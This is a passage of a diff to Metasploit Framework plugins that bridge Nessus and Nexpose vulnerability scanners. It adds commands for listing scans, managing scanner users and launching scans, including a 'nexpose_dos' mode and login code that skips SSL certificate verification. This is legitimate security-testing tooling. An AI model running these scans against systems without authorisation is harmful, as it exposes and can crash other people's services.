Time.at(scan['start'].to_i) + tbl << [ scan['id'], scan['name'], scan['owner'], t.strftime("%H:%M %b %d %Y"), scan['status'], scan['current'], scan['total'] ] + } + print_good("Running Scans") + print_good "\n" + print_line tbl.to_s + print_good "\n" + print_status("You can:") + print_good(" Import Nessus report to database : nessus_report_get <reportid>") + print_good(" Pause a nessus scan : nessus_scan_pause <scanid>") + end + + def cmd_nessus_template_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_template_list") + print_status(" Example:> nessus_template_list") + print_status() + print_status("Returns a list of information about the server templates..") + return + end + + if ! nessus_verify_token + return + end + + list=@n.template_list_hash + + if list.empty? + print_status("No Templates Created.") + print_status("You can:") + print_status(" List of completed scans: nessus_report_list") + print_status(" Create a template: nessus_template_new <policy id> <scan name> <target(s)>") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Template ID', + 'Policy ID', + 'Name', + 'Owner', + 'Target' + ]) + + list.each {|template| + tbl << [ template['name'], template['pid'], template['rname'], template['owner'], template['target'] ] + } + print_good("Templates") + print_good "\n" + print_line tbl.to_s + "\n" + print_good "\n" + print_status("You can:") + print_good(" Import Nessus report to database : nessus_report_get <reportid>") + end + + def cmd_nessus_user_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_list") + print_status(" Example:> nessus_user_list") + print_status() + print_status("Returns a list of the users on the Nessus server and their access level.") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_status("Your Nessus user is not an admin") + end + + list=@n.users_list + print_good("There are #{list.length} users") + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Name', + 'Is Admin?', + 'Last Login' + ]) + + list.each {|user| + t = Time.at(user['lastlogin'].to_i) + tbl << [ user['name'], user['admin'], t.strftime("%H:%M %b %d %Y") ] + } + print_good("Nessus users") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_server_status(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_server_status") + print_status(" Example:> nessus_server_status") + print_status() + print_status("Returns some status items for the server..") + return + end + #Auth + if ! nessus_verify_token + return + end + + #Check if we are an admin + if ! @n.is_admin + print_status("You need to be an admin for this.") + return + end + + #Versions + cmd_nessus_server_feed + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Users', + 'Policies', + 'Running Scans', + 'Reports', + 'Plugins' + ]) + #Count how many users the server has. + list=@n.users_list + users = list.length + + #Count how many policies + list=@n.policy_list_hash + policies = list.length + + #Count how many running scans + list=@n.scan_list_uids + scans = list.length + + #Count how many reports are available + list=@n.report_list_hash + reports = list.length + + #Count how many plugins + list=@n.plugins_list + total = Array.new + list.each {|plugin| + total.push(plugin['num'].to_i) + } + plugins = total.sum + tbl << [users, policies, scans, reports, plugins] + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_plugin_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_list") + print_status(" Example:> nessus_plugin_list") + print_status() + print_status("Returns a list of the plugins on the server per family.") + return + end + + if ! nessus_verify_token + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Family Name', + 'Total Plugins' + ]) + list=@n.plugins_list + total = Array.new + list.each {|plugin| + total.push(plugin['num'].to_i) + tbl << [ plugin['name'], plugin['num'] ] + } + plugins = total.sum + tbl << [ '', ''] + tbl << [ 'Total Plugins', plugins ] + print_good("Plugins By Family") + print_good "\n" + print_line tbl.to_s + print_status("List plugins for a family : nessus_plugin_family <family name>") + end + + def check_policy(*args) + + case args.length + when 1 + pid = args[0] + else + print_error("No Policy ID supplied.") + return + end + + pol = @n.policy_list_hash + pol.each {|p| + if p['id'].to_i == pid + return false + end + } + return true + end + + def cmd_nessus_scan_new(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_new <policy id> <scan name> <targets>") + print_status(" Example:> nessus_scan_new 1 \"My Scan\" 192.168.1.250") + print_status() + print_status("Creates a scan based on a policy id and targets.") + print_status("use nessus_policy_list to list all available policies") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 3 + pid = args[0].to_i + name = args[1] + tgts = args[2] + else + print_status("Usage: ") + print_status(" nessus_scan_new <policy id> <scan name> <targets>") + print_status(" use nessus_policy_list to list all available policies") + return + end + + if check_policy(pid) + print_error("That policy does not exist.") + return + end + + print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning #{tgts}") + + scan = @n.scan_new(pid, name, tgts) + + if scan + print_status("Scan started. uid is #{scan}") + end + end + + def cmd_nessus_scan_pause(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_pause <scan id>") + print_status(" Example:> nessus_scan_pause f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Pauses a running scan") + print_status("use nessus_scan_status to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status(" nessus_scan_pause <scan id>") + print_status(" use nessus_scan_status to list all available scans") + return + end + + pause = @n.scan_pause(sid) + + print_status("#{sid} has been paused") + end + + def cmd_nessus_scan_resume(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_resume <scan id>") + print_status(" Example:> nessus_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("resumes a running scan") + print_status("use nessus_scan_status to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status(" nessus_scan_resume <scan id>") + print_status(" use nessus_scan_status to list all available scans") + return + end + + resume = @n.scan_resume(sid) + + print_status("#{sid} has been resumed") + end + + def cmd_nessus_report_hosts(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_hosts <report id>") + print_status(" Example:> nessus_report_hosts f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the hosts associated with a scan and details about their vulnerabilities") + print_status("use nessus_report_list to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_hosts <report id>") + print_status(" use nessus_report_list to list all available reports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Hostname', + 'Severity', + 'Sev 0', + 'Sev 1', + 'Sev 2', + 'Sev 3', + 'Current Progress', + 'Total Progress' + ]) + hosts=@n.report_hosts(rid) + hosts.each {|host| + tbl << [ host['hostname'], host['severity'], host['sev0'], host['sev1'], host['sev2'], host['sev3'], host['current'], host['total'] ] + } + print_good("Report Info") + print_good "\n" + print_line tbl.to_s + print_status("You can:") + print_status(" Get information from a particular host: nessus_report_host_ports <hostname> <report id>") + end + + def cmd_nessus_report_vulns(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_vulns <report id>") + print_status(" Example:> nessus_report_vulns f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the vulns associated with a scan and details about hosts and their vulnerabilities") + print_status("use nessus_report_list to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_vulns <report id>") + print_status(" use nessus_report_vulns to list all available reports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Hostname', + 'Port', + 'Proto', + 'Sev', + 'PluginID', + 'Plugin Name' + ]) + print_status("Grabbing all vulns for report #{rid}") + hosts=@n.report_hosts(rid) + hosts.each do |host| + ports=@n.report_host_ports(rid, host['hostname']) + ports.each do |port| + details=@n.report_host_port_details(rid, host['hostname'], port['portnum'], port['protocol']) + details.each do |detail| + tbl << [host['hostname'], + port['portnum'], + port['protocol'], + detail['severity'], + detail['pluginID'], + detail['pluginName'] + ] + end + end + end + print_good("Report Info") + print_line + print_line tbl.to_s + print_status("You can:") + print_status(" Get information from a particular host: nessus_report_host_ports <hostname> <report id>") + end + + def cmd_nessus_report_host_ports(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_host_ports <hostname> <report id>") + print_status(" Example:> nessus_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the ports associated with a host and details about their vulnerabilities") + print_status("use nessus_report_hosts to list all available hosts for a report") + end + + if ! nessus_verify_token + return + end + + case args.length + when 2 + host = args[0] + rid = args[1] + else + print_status("Usage: ") + print_status(" nessus_report_host_ports <hostname> <report id>") + print_status(" use nessus_report_list to list all available reports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Port', + 'Protocol', + 'Severity', + 'Service Name', + 'Sev 0', + 'Sev 1', + 'Sev 2', + 'Sev 3' + ]) + ports=@n.report_host_ports(rid, host) + ports.each {|port| + tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ] + } + print_good("Host Info") + print_good "\n" + print_line tbl.to_s + print_status("You can:") + print_status(" Get detailed scan infromation about a specfic port: nessus_report_host_detail <hostname> <port> <protocol> <report id>") + end + + def cmd_nessus_report_host_detail(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_host_detail <hostname> <port> <protocol> <report id>") + print_status(" Example:> nessus_report_host_ports 192.168.1.250 445 tcp f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the vulns associated with a port for a specific host") + print_status("use nessus_report_host_ports to list all available ports for a host") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 4 + host = args[0] + port = args[1] + prot = args[2] + rid = args[3] + else + print_status("Usage: ") + print_status(" nessus_report_host_detail <hostname> <port> <protocol> <report id>") + print_status(" use nessus_report_host_ports to list all available ports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Port', + 'Severity', + 'PluginID', + 'Plugin Name', + 'CVSS2', + 'Exploit?', + 'CVE', + 'Risk Factor', + 'CVSS Vector' + ]) + details=@n.report_host_port_details(rid, host, port, prot) + details.each {|detail| + tbl << [ + detail['port'], + detail['severity'], + detail['pluginID'], + detail['pluginName'], + detail['cvss_base_score'] || 'none', + detail['exploit_available'] || '.', + detail['cve'] || '.', + detail['risk_factor'] || '.', + detail['cvss_vector'] || '.' + ] + } + print_good("Port Info") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_scan_pause_all(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_pause_all") + print_status(" Example:> nessus_scan_pause_all") + print_status() + print_status("Pauses all currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + pause = @n.scan_pause_all + + print_status("All scans have been paused") + end + + def cmd_nessus_scan_stop(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_stop <scan id>") + print_status(" Example:> nessus_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Stops a currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status(" nessus_scan_stop <scan id>") + print_status(" use nessus_scan_status to list all available scans") + return + end + + pause = @n.scan_stop(sid) + + print_status("#{sid} has been stopped") + end + + def cmd_nessus_scan_stop_all(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_stop_all") + print_status(" Example:> nessus_scan_stop_all") + print_status() + print_status("stops all currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + pause = @n.scan_stop_all + + print_status("All scans have been stopped") + end + + def cmd_nessus_scan_resume_all(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_resume_all") + print_status(" Example:> nessus_scan_resume_all") + print_status() + print_status("resumes all currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + pause = @n.scan_resume_all + + print_status("All scans have been resumed") + end + + def cmd_nessus_user_add(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_add <username> <password>") + print_status(" Example:> nessus_user_add msf msf") + print_status() + print_status("Only adds non admin users. Must be an admin to add users.") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 2 + user = args[0] + pass = args[1] + else + print_status("Usage: ") + print_status(" nessus_user_add <username> <password>") + print_status(" Only adds non admin users") + return + end + + u = @n.users_list + u.each { |stuff| + if stuff['name'] == user + print_error("That user exists") + return + end + } + add = @n.user_add(user,pass) + status = add.root.elements['status'].text if add + if status == "OK" + print_good("#{user} has been added") + else + print_error("#{user} was not added") + end + end + + def cmd_nessus_user_del(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_del <username>") + print_status(" Example:> nessus_user_del msf") + print_status() + print_status("Only dels non admin users. Must be an admin to del users.") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 1 + user = args[0] + else + print_status("Usage: ") + print_status(" nessus_user_del <username>") + print_status(" Only dels non admin users") + return + end + + del = @n.user_del(user) + status = del.root.elements['status'].text + if status == "OK" + print_good("#{user} has been deleted") + else + print_error("#{user} was not deleted") + end + end + + def cmd_nessus_user_passwd(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_passwd <username> <password>") + print_status(" Example:> nessus_user_passwd msf newpassword") + print_status() + print_status("Changes the password of a user. Must be an admin to change passwords.") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 2 + user = args[0] + pass = args[1] + else + print_status("Usage: ") + print_status(" nessus_user_passwd <username> <password>") + print_status(" User list from nessus_user_list") + return + end + + pass = @n.user_pass(user,pass) + status = pass.root.elements['status'].text + if status == "OK" + print_good("#{user}'s password has been changed") + else + print_error("#{user}'s password has not been changed") + end + end + + def cmd_nessus_admin(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_admin") + print_status(" Example:> nessus_admin") + print_status() + print_status("Checks to see if the current user is an admin") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + else + print_good("Your Nessus user is an admin") + end + end + + def cmd_nessus_plugin_family(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_family <plugin family name>") + print_status(" Example:> nessus_plugin_family \"Windows : Microsoft Bulletins\" ") + print_status() + print_status("Returns a list of all plugins in that family.") + print_status("use nessus_plugin_list to list all plugins") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + fam = args[0] + else + print_status("Usage: ") + print_status(" nessus_plugin_family <plugin family name>") + print_status(" list all plugins from a Family from nessus_plugin_list") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Plugin ID', + 'Plugin Name', + 'Plugin File Name' + ]) + + family = @n.plugin_family(fam) + + family.each {|plugin| + tbl << [ plugin['id'], plugin['name'], plugin['filename'] ] + } + print_good("#{fam} Info") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_policy_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_policy_list") + print_status(" Example:> nessus_policy_list") + print_status() + print_status("Lists all policies on the server") + return + end + + if ! nessus_verify_token + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'ID', + 'Name', + 'Comments' + ]) + list=@n.policy_list_hash + list.each {|policy| + tbl << [ policy['id'], policy['name'], policy['comments'] ] + } + print_good("Nessus Policy List") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_policy_del(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_policy_del <policy ID>") + print_status(" Example:> nessus_policy_del 1") + print_status() + print_status("Must be an admin to del policies.") + print_status("use nessus_policy_list to list all policies") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 1 + pid = args[0] + else + print_status("Usage: ") + print_status(" nessus_policy_del <policy ID>") + print_status(" nessus_policy_list to find the id.") + return + end + + + del = @n.policy_del(pid) + status = del.root.elements['status'].text + if status == "OK" + print_good("Policy number #{pid} has been deleted") + else + print_error("Policy number #{pid} was not deleted") + end + + end + + def cmd_nessus_plugin_details(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_details <plugin file name>") + print_status(" Example:> nessus_plugin_details ping_host.nasl ") + print_status() + print_status("Returns details on a particular plugin.") + print_status("use nessus_plugin_list to list all plugins") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + pname = args[0] + else + print_status("Usage: ") + print_status(" nessus_policy_del <plugin file name>") + print_status(" nessus_plugin_list and then nessus_plugin_family to find the plugin file name.") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + '', + '' + ]) + + entry = @n.plugin_detail(pname) + print_good("Plugin Details for #{entry['name']}") + tbl << [ "Plugin ID", entry['id'] ] + tbl << [ "Plugin Family", entry['family'] ] + tbl << [ "CVSS Base Score", entry['cvss_base_score'] ] + tbl << [ "CVSS Vector", entry['cvss_vector'] ] + tbl << [ "CVSS Temporal Score", entry['cvss_temporal_score'] ] + tbl << [ "CVSS Temporal Vector", entry['cvss_temporal_vector'] ] + tbl << [ "Risk Factor", entry['risk_factor'] ] + tbl << [ "Exploit Available", entry['exploit_available'] ] + tbl << [ "Exploitability Ease", entry['exploit_ease'] ] + tbl << [ "Synopsis", entry['synopsis'] ] + tbl << [ "Description", entry['description'] ] + tbl << [ "Solution", entry['solution'] ] + tbl << [ "Plugin Pub Date", entry['plugin_publication_date'] ] + tbl << [ "Plugin Modification Date", entry['plugin_modification_date'] ] + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_report_del(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_del <reportname>") + print_status(" Example:> nessus_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Must be an admin to del reports.") + print_status("use nessus_report_list to list all reports") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_del <report ID>") + print_status(" nessus_report_list to find the id.") + return + end + + + del = @n.report_del(rid) + status = del.root.elements['status'].text + if status == "OK" + print_good("Report #{rid} has been deleted") + else + print_error("Report #{rid} was not deleted") + end + end + + def cmd_nessus_server_prefs(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_server_prefs") + print_status(" Example:> nessus_server_prefs") + print_status() + print_status("Returns a long list of server prefs.") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Name', + 'Value' + ]) + prefs = @n.server_prefs + prefs.each {|pref| + tbl << [ pref['name'], pref['value'] ] + } + print_good("Nessus Server Pref List") + print_good "\n" + print_line tbl.to_s + "\n" + + end + + def cmd_nessus_plugin_prefs(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_prefs") + print_status(" Example:> nessus_plugin_prefs") + print_status() + print_status("Returns a long list of plugin prefs.") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Name', + 'Value', + 'Type' + ]) + prefs = @n.plugin_prefs + prefs.each {|pref| + tbl << [ pref['prefname'], pref['prefvalues'], pref['preftype'] ] + } + print_good("Nessus Plugins Pref List") + print_good "\n" + print_line tbl.to_s + end + end + + def initialize(framework, opts) + super + + add_console_dispatcher(ConsoleCommandDispatcher) + @nbver = "1.1" # Nessus Plugin Version. Increments each time we commit to msf + @xindex = "#{Msf::Config.get_config_root}/nessus_index" # location of the exploit index file used to speed up searching for valid exploits. + @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" #location of the nessus.yml containing saved nessus creds + print_status("Nessus Bridge for Metasploit #{@nbver}") + print_good("Type %bldnessus_help%clr for a command listing") + #nessus_index + end + + def cleanup + remove_console_dispatcher('Nessus') + end + + def name + "nessus" + end + + def desc + "Nessus Bridge for Metasploit #{@nbver}" + end + protected + end end diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index e2a42b238c..56b0bd1830 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -10,661 +10,661 @@ require 'rapid7/nexpose' module Msf - Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds + Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds class Plugin::Nexpose < Msf::Plugin - class NexposeCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "Nexpose" - end - - def commands - { - 'nexpose_connect' => "Connect to a running Nexpose instance ( user:pass@host[:port] )", - 'nexpose_save' => "Save credentials to a Nexpose instance", - 'nexpose_activity' => "Display any active scan jobs on the Nexpose instance", - - 'nexpose_scan' => "Launch a Nexpose scan against a specific IP range and import the results", - 'nexpose_discover' => "Launch a scan but only perform host and minimal service discovery", - 'nexpose_exhaustive' => "Launch a scan covering all TCP ports and all authorized safe checks", - 'nexpose_dos' => "Launch a scan that includes checks that can crash services and devices (caution)", - - 'nexpose_disconnect' => "Disconnect from an active Nexpose instance", - - 'nexpose_sites' => "List all defined sites", - 'nexpose_site_devices' => "List all discovered devices within a site", - 'nexpose_site_import' => "Import data from the specified site ID", - 'nexpose_report_templates' => "List all available report templates", - 'nexpose_command' => "Execute a console command on the Nexpose instance", - 'nexpose_sysinfo' => "Display detailed system information about the Nexpose instance", - - # TODO: - # nexpose_stop_scan - } - end - - def nexpose_verify_db - if ! (framework.db and framework.db.usable and framework.db.active) - print_error("No database has been configured, please use db_create/db_connect first") - return false - end - - true - end - - def nexpose_verify - return false if not nexpose_verify_db - - if ! @nsc - print_error("No active Nexpose instance has been configured, please use 'nexpose_connect'") - return false - end - - true - end - - def cmd_nexpose_save(*args) - #if we are logged in, save session details to nexpose.yaml - if args[0] == "-h" - print_status("Usage: ") - print_status(" nexpose_save") - return - end - - if args[0] - print_status("Usage: ") - print_status(" nexpose_save") - return - end - - group = "default" - - if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} - ::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) } - print_good("#{Nexpose_yaml} created.") - else - print_error("Missing username/password/server/port - relogin and then try again.") - return - end - end - - def cmd_nexpose_connect(*args) - return if not nexpose_verify_db - - if ! args[0] - if ::File.readable?("#{Nexpose_yaml}") - lconfig = YAML.load_file("#{Nexpose_yaml}") - @user = lconfig['default']['username'] - @pass = lconfig['default']['password'] - @host = lconfig['default']['server'] - @port = lconfig['default']['port'] - @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... - nexpose_login - return - end - end - - if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port <ssl-confirm>") - return - end - - @user = @pass = @host = @port = @sslv = nil - - case args.length - when 1,2 - cred,targ = args[0].split('@', 2) - @user,@pass = cred.split(':', 2) - targ ||= '127.0.0.1:3780' - @host,@port = targ.split(':', 2) - port ||= '3780' - @sslv = args[1] - when 4,5 - @user,@pass,@host,@port,@sslv = args - else - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port <ssl-confirm>") - return - end - nexpose_login - end - - def nexpose_login - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port <ssl-confirm>") - return - end - - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - # Wrap this so a duplicate session doesnt prevent a new login - begin - cmd_nexpose_disconnect - rescue ::Interrupt - raise $! - rescue ::Exception - end - - begin - print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...") - nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port) - nsc.login - rescue ::Nexpose::APIError => e - print_error("Connection failed: #{e.reason}") - return - end - - @nsc = nsc - nexpose_compatibility_check - nsc - end - - def cmd_nexpose_activity(*args) - return if not nexpose_verify - - scans = @nsc.scan_activity || [] - case scans.length - when 0 - print_status("There are currently no active scan jobs on this Nexpose instance") - when 1 - print_status("There is 1 active scan job on this Nexpose instance") - else - print_status("There are currently #{scans.length} active scan jobs on this Nexpose instance") - end - - scans.each do |scan| - print_status(" Scan ##{scan[:scan_id]} is running on Engine ##{scan[:engine_id]} against site ##{scan[:site_id]} since #{scan[:start_time].to_s}") - end - end - - def cmd_nexpose_sites(*args) - return if not nexpose_verify - - sites = @nsc.site_listing || [] - case sites.length - when 0 - print_status("There are currently no active sites on this Nexpose instance") - end - - sites.each do |site| - print_status(" Site ##{site[:site_id]} '#{site[:name]}' Risk Factor: #{site[:risk_factor]} Risk Score: #{site[:risk_score]}") - end - end - - def cmd_nexpose_site_devices(*args) - return if not nexpose_verify - - site_id = args.shift - if not site_id - print_error("No site ID was specified") - return - end - - devices = @nsc.site_device_listing(site_id) || [] - case devices.length - when 0 - print_status("There are currently no devices within this site") - end - - devices.each do |device| - print_status(" Host: #{device[:address]} ID: #{device[:device_id]} Risk Factor: #{device[:risk_factor]} Risk Score: #{device[:risk_score]}") - end - end - - def cmd_nexpose_report_templates(*args) - return if not nexpose_verify - - res = @nsc.report_template_listing || [] - - res.each do |report| - print_status(" Template: #{report[:template_id]} Name: '#{report[:name]}' Description: #{report[:description]}") - end - end - - def cmd_nexpose_command(*args) - return if not nexpose_verify - - if args.length == 0 - print_error("No command was specified") - return - end - - res = @nsc.console_command(args.join(" ")) || "" - - print_status("Command Output") - print_line(res) - print_line("") - - end - - def cmd_nexpose_sysinfo(*args) - return if not nexpose_verify - - res = @nsc.system_information - - print_status("System Information") - res.each_pair do |k,v| - print_status(" #{k}: #{v}") - end - end - - def nexpose_compatibility_check - res = @nsc.console_command("ver") - if res !~ /^(NSC|Console) Version ID:\s*4[89]0\s*$/m - print_error("") - print_error("Warning: This version of Nexpose has not been tested with Metasploit!") - print_error("") - end - end - - def cmd_nexpose_site_import(*args) - site_id = args.shift - if not site_id - print_error("No site ID was specified") - return - end - - msfid = Time.now.to_i - - report_formats = ["raw-xml-v2", "ns-xml"] - report_format = report_formats.shift - - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id("pentest-audit") - - report.addFilter("SiteFilter", site_id) - report.set_generate_after_scan(0) - report.set_storeOnServer(1) - - begin - report.set_format(report_format) - report.saveReport() - rescue ::Exception => e - report_format = report_formats.shift - if report_format - retry - end - raise e - end - - print_status("Generating the export data file...") - url = nil - while(! url) - url = @nsc.report_last(report.config_id) - select(nil, nil, nil, 1.0) - end - - print_status("Downloading the export data...") - data = @nsc.download(url) - - # Delete the temporary report ID - @nsc.report_config_delete(report.config_id) - - print_status("Importing Nexpose data...") - process_nexpose_data(report_format, data) - - end - - def cmd_nexpose_discover(*args) - args << "-h" if args.length == 0 - args << "-t" - args << "aggressive-discovery" - cmd_nexpose_scan(*args) - end - - def cmd_nexpose_exhaustive(*args) - args << "-h" if args.length == 0 - args << "-t" - args << "exhaustive-audit" - cmd_nexpose_scan(*args) - end - - def cmd_nexpose_dos(*args) - args << "-h" if args.length == 0 - args << "-t" - args << "dos-audit" - cmd_nexpose_scan(*args) - end - - def cmd_nexpose_scan(*args) - - opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-t" => [ true, "The scan template to use (default:pentest-audit options:full-audit,exhaustive-audit,discovery,aggressive-discovery,dos-audit)"], - "-c" => [ true, "Specify credentials to use against these targets (format is type:user:pass"], - "-n" => [ true, "The maximum number of IPs to scan at a time (default is 32)"], - "-s" => [ true, "The directory to store the raw XML files from the Nexpose instance (optional)"], - "-P" => [ false, "Leave the scan data on the server when it completes (this counts against the maximum licensed IPs)"], - "-v" => [ false, "Display diagnostic information about the scanning process"], - "-d" => [ false, "Scan hosts based on the contents of the existing database"], - "-I" => [ true, "Only scan systems with an address within the specified range"], - "-E" => [ true, "Exclude hosts in the specified range from the scan"] - ) - - opt_template = "pentest-audit" - opt_maxaddrs = 32 - opt_monitor = false - opt_verbose = false - opt_savexml = nil - opt_preserve = false - opt_rescandb = false - opt_addrinc = nil - opt_addrexc = nil - opt_scanned = [] - opt_credentials = [] - - opt_ranges = [] - - - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line("Usage: nexpose_scan [options] <Target 